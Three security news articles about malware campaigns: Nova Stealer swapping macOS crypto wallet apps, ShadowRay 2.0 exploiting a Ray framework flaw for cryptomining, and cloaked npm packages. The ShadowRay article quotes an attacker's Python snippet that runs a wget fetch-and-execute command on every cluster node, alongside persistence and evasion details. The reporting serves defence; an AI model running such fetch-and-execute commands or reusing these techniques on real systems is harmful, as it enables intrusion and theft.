A new malware campaign targeting macOS users has emerged with a dangerous focus on cryptocurrency wallet theft.

The malware, called Nova Stealer, uses a clever approach to trick victims by replacing genuine cryptocurrency applications with fake versions that steal wallet recovery phrases.

This bash-based stealer has been identified attacking users of popular cryptocurrency wallets, including Ledger Live, Trezor Suite, and Exodus.

The attack starts when an unknown dropper downloads and runs a script called mdriversinstall.sh from the command-and-control server at hxxps://ovalresponsibility[.]com/mdriversinstall[.]sh.

This initial script creates a hidden directory at ~/.mdrivers and installs several component,s including a script manager and launcher.

The malware generates a unique user ID using the uuidgen command and stores it in ~/.mdrivers/user_id.txt to track infected systems.

BruceKetta.space security researchers identified the Nova Stealer campaign and noted its modular design. The malware uses an orchestrator script called mdriversmngr.sh that downloads additional modules from the command-and-control server.

These modules come encoded in base64 format and are stored under ~/.mdrivers/scripts. The malware achieves persistence by creating a LaunchAgent plist file labeled application.com.artificialintelligence that ensures the scripts run automatically at every system startup.

One particularly interesting technique used by Nova Stealer is running scripts inside detached screen sessions using the command screen -dmS <name> <path>.

This approach keeps the malicious processes running independently in the background, hidden from the user’s view. The processes even survive when users log out because they run as daemon sessions with the -dmS flag.

Application Swapping and Seed Phrase Theft

Nova Stealer’s most dangerous capability involves swapping legitimate cryptocurrency wallet applications with fake versions.

The malware component mdriversswaps.sh detects if Ledger Live or Trezor Suite are installed on the system by checking paths in /Applications/.

When found, the script removes the original applications using rm -rf and deletes their Launchpad database entries through SQLite commands like DELETE FROM apps/items where title or ids match.

The malware then downloads malicious replacement applications from specific domains, including hxxps://wheelchairmoments[.]com for fake Ledger Live and hxxps://sunrisefootball[.]com for fake Trezor Suite.

These ZIP archives are saved to ~/Library/LaunchAgents/ and extracted to replace the original applications. The malware modifies the Dock configuration using /usr/libexec/PlistBuddy to delete the old app entry and add a new one pointing to the fake application.

The fake wallet applications use Swift and WebKit to render phishing pages that look legitimate. When victims open what they believe is their wallet application, they see a recovery interface asking them to enter their seed phrases.

The malicious JavaScript code includes validation against BIP-39 and SLIP-39 word lists to provide auto-complete functionality, making the fake interface feel authentic.

As users type their recovery words, the data is sent to endpoints /seed and /seed2 with a 200-400ms delay after each keystroke, allowing attackers to capture partial phrases in real-time without waiting for final submission.

Nova Stealer also runs dedicated exfiltration modules. The mdriversfiles.sh component searches for and steals wallet files, including Trezor IndexedDB logs, Exodus files like passphrase.json and seed.seco, and Ledger’s app.json.

These files are uploaded to the command-and-control server every 20 hours using binary POST requests. Additionally, mdriversmetrics.sh collects system information, including installed applications, running processes, and Dock items, to help attackers profile victims and improve their campaigns.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New Nova Stealer Attacking macOS Users by Swapping Legitimate Apps to Steal Cryptocurrency Wallet Data appeared first on Cyber Security News.

Cybersecurity researchers have uncovered an active global hacking campaign leveraging a known flaw in Ray, an open-source AI framework widely used for managing distributed computing tasks.

Dubbed ShadowRay 2.0, this attack exploits vulnerability CVE-2023-48022 to silently seize control of powerful AI computing clusters and turn them into cryptocurrency mining operations.

The campaign represents a significant escalation from the initial ShadowRay discovery in March 2024, with attackers employing sophisticated tactics to remain hidden while extracting maximum value from compromised infrastructure.

Oligo Security researchers identified the attack campaign in early November 2025, discovering that threat actors using the name IronErn440 have weaponized Ray’s legitimate orchestration features into tools for self-propagating attacks.

What makes this threat particularly alarming is the sheer scale of exposure. The number of exposed Ray servers worldwide has grown from thousands during the original discovery to more than 230,000 instances today.

Many belong to active startups, research laboratories, and cloud-hosting providers, creating an expansive attack surface.

Oligo Security security analysts identified the attack after observing region-aware malware being distributed through GitLab.

The attackers initially leveraged the DevOps platform to deliver customized payloads adapted to each victim’s geographic location.

After GitLab took down the malicious repository on November 5, 2025, the threat actors quickly migrated their operation to GitHub, demonstrating remarkable operational agility.

By November 10, they had established a new repository and continued their campaign with even greater sophistication.

AI Attacking AI Infrastructure

The attack unfolds through multiple coordinated stages, beginning with reconnaissance using interact.sh, an out-of-band platform that lets attackers identify vulnerable servers without traditional noisy scanning.

Attackers send probes targeting Ray’s unprotected Jobs API, triggering callbacks from vulnerable instances. Once targets are identified, they exploit the unauthenticated Ray dashboard to submit malicious jobs that execute arbitrary code with cluster privileges.

The most notable aspect is the use of AI-generated payloads. The attackers deploy Python code that automatically discovers available cluster resources, calculates 60 percent CPU and GPU allocation to avoid immediate detection, and then injects cryptocurrency miners disguised as legitimate system processes.

The payloads demonstrate sophisticated error handling and self-adaptation, suggesting they were generated or refined using AI tools to accelerate payload development.

A critical code snippet shows the multi-stage infection mechanism. The initial access payload uses Ray’s NodeAffinitySchedulingStrategy to enumerate cluster nodes and deploy infection scripts to each one:-

nodes=[n for n in ray.nodes() if n.get('Alive', False)]
cmd='wget -qO- https://gitlab.com/ironern440-group/ironern440-project/-/raw/main/aa_clean.sh && chmod +x aa_clean.sh && ./aa_clean.sh'
[ray.get(ray.remote(lambda:subprocess.run(cmd,shell=True)).options(scheduling_strategy=NodeAffinitySchedulingStrategy...

The attackers establish persistence through multiple mechanisms: cron jobs executing every fifteen minutes, systemd service hijacking, and SSH key injection into root accounts.

They mask malicious processes by renaming them to appear as legitimate kernel workers like [kworker/0:0] and dns-filter services, effectively hiding in plain sight.

What sets this campaign apart is the active competition dynamics. Attackers deploy scripts to detect and terminate rival cryptocurrency miners, then block competing mining pools through iptables rules and host file modifications.

They even target pools on specific ports used by competing threat actors, revealing an underground ecosystem where multiple criminal groups fight for the same compromised resources.

The infrastructure adaptation is equally concerning. For victims in China, attackers deliver region-specific payloads through proxy services to bypass network restrictions.

They employ geographic detection via ip-api.com, executing different scripts for Chinese versus international targets.

The attackers continuously update their payloads through GitLab commits, treating infrastructure as code and enabling real-time evolution of their techniques without redeploying to victim machines.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New ShadowRay Attack Exploit Ray AI-Framework Vulnerability to Attack AI Systems appeared first on Cyber Security News.

A sophisticated malware campaign targeting the npm ecosystem has emerged, deploying a clever detection system that distinguishes between regular users and security researchers.

The threat actor, operating under the alias dino_reborn, created seven malicious npm packages designed to redirect users to crypto-themed scam sites while evading security detection.

This intricate operation represents a new frontier in supply chain attacks, combining traffic cloaking technology with browser-based evasion techniques to deliver precision-targeted malicious content.

The campaign leverages a set of contaminated packages including signals-embed, dsidospsodlks, applicationooks21, application-phskck, integrator-filescrypt2025, integrator-2829, and integrator-2830.

Six of these packages contain 39 kilobytes of malware code, while the seventh constructs a malicious webpage. When users visit the website deployed by these packages, the malware automatically analyzes their behavior and system characteristics to determine their threat level.

The threat actor then serves dramatically different experiences based on this classification—victims encounter a convincing fake CAPTCHA leading to malicious destinations, while researchers see only blank pages hiding the true nature of the attack.

Socket.dev security analysts identified and documented this complex campaign after discovering the interconnected infrastructure linking all packages to a single threat actor.

The research team traced the creation email to geneboo@proton[.]me and uncovered how the attacker was using Adspect, a legitimate cloaking service designed to distinguish between bots and real visitors.

By weaponizing this technology within npm packages, the attacker found a way to distribute self-contained malicious code that automatically gates access to harmful payloads based on sophisticated fingerprinting.

The campaign’s success stems from its multi-layered approach to evading both automated security scanners and human analysis. Upon deployment, the malware wraps its code in an Immediately Invoked Function Expression (IIFE), ensuring it executes automatically without requiring explicit function calls.

The code aggressively blocks researcher access by disabling browser developer tools, preventing right-click context menus, blocking keyboard shortcuts like F12, Ctrl+U, and Ctrl+Shift+I, and continuously reloading the page if DevTools are detected.

Technical Analysis of the Detection Evasion Mechanism

The malware’s ability to distinguish victims from researchers relies on a sophisticated fingerprinting system that collects thirteen distinct data points about each visitor.

When a user accesses the compromised website, the JavaScript payload gathers information, including the browser user agent, host information, referrer URL, request method, server hostname, protocol encryption status, request timestamp, language preferences, and accepted encoding formats.

This comprehensive data collection creates a detailed profile that gets transmitted to the Adspect API through a proxy endpoint, such as association-google.xyz/adspect-proxy.php, effectively reconstructing server-side request capabilities within the browser environment.

The decision-making logic represents the campaign’s core innovation. When Adspect receives the fingerprint data, it analyzes the traffic characteristics and returns a response indicating whether the visitor appears legitimate or suspicious.

If the API determines the traffic originates from a researcher, it returns an “ok: false” status, triggering the display of a blank white page containing only generic text about Offlido, a fake offline storage company.

This benign page provides perfect cover, appearing completely legitimate to any analyst who might inspect it. Conversely, if Adspect determines the visitor is a potential victim, it returns “ok: true” along with a malicious redirect URL and triggers display of a fake CAPTCHA interface.

The CAPTCHA mimics real verification systems from legitimate crypto exchanges like Uniswap and Jupiter, borrowing their branding to build false credibility.

When victims click the verification checkbox, a three-second loading animation plays before showing success, followed by automatic redirection to the malicious URL in a new browser tab.

This psychological manipulation, combined with the familiar CAPTCHA interface, increases the likelihood that victims will trust and engage with the redirect without suspicion.

The attacker’s infrastructure flexibility represents another significant advantage. Because Adspect returns new redirect URLs on each request, the threat actor can rotate final destinations server-side without ever republishing any npm package, making traditional takedown efforts reactive rather than preventative.

This allows the campaign to remain operational even after initial detection and package removal from npm’s registry.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post New npm Malware Campaign Verifies if the Visitor is a Victim or a Researcher Before Triggering Infection appeared first on Cyber Security News.